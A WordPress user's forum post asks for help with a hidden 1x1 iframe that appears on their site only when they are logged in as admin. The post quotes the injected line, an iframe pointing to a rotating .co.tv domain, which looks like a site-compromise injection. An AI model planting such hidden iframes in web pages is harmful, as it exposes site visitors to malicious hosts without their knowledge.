I noticed a vertical scrollbar appearing in my posts that I couldn't figure out what's causing it. After many attempts and trial and error, I finally figured out the issue, but I have no idea how to fix it.
The vertical scrollbar is caused by a cookie apparently. What it does is add a line of code that adds a 1x1 pixel with a link to my site (as an iframe, which causes the scrollbar). The pixel is in the upper left of the screen. They code seems a little different each time, so I can't go to the site and attack them. Today it's:
<iframe src="http://vpfjafq.co.tv/?go=1" width="1" height="1"></iframe> But it's been other things, but it's alway a .co.tv site that doesn't point to anything. I checked out the Whois and it says the domain is owned by these guys: http://www.reg2c.com/
Here's the thing. It only appears when I'm logged in as an admin. If you're not logged in, then you don't see it. If I clear the cookies, it's gone, but I'm also logged out. As soon as I log in, it's back. So, it's being placed by something in wordpress.
Any ideas on how to fix this?
